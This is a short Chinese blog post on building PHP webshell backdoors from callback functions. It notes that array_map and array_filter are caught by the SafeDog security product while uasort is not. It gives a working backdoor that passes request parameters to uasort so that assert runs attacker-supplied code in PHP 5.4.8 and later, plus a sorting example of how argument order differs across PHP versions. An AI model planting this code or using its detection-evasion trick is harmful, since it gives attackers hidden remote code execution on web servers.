温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

PHP 回调后门笔记

发布时间:2020-07-31 20:36:16 来源:网络 阅读:1056 作者:wly1992 栏目:web开发

在php中 存在回调函数参数的函数,都有可能作为后门


比如array_map , array_filter 这类数组操作的回调函数,但是在安全狗下会被杀掉


但是uasort 这类函数不会被杀掉。


php5.4.8之后的assert

在5.4.8之后,assert函数由一个参数,变成了两个参数。增加了一个可选参数descrition:


5.4.8 增加了参数 description。 description 现在也作为第四个参数提供给 ASSERT_CALLBACK 模式里的回调函数。

那么这里就可以使用有两个参数的回调函数了,比如

	<?php
	$e = $_REQUEST['e'];
	$arr = array($_REQUEST['pass'] , 'te');
	uasort($arr , $e);

在php5.3环境下会报错,因为5.3的assert只有一个参数。

在php5.4以后就可以执行了


这里的传递参数的顺序也有变化,在php7之前不包括PHP7 , 传递参数是array的第一个参数就是回调函数的第二个参数。

在php7及以后,array的第一个参数是回调函数的第一个参数。

比如:

	function mysort($var_1 , $var_2)
	{
		echo "var_1 : ".$var_1."<br>";
		echo "var_2 : ".$var_2."<br>";
	}
	
	
	$arr = array("1" , "2");
	uasort($arr , 'mysort');

在php7以前的环境输出:

var_1 : 2
var_2 : 1


在php7及其以后的环境输出:

var_1 : 1
var_2 : 2

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI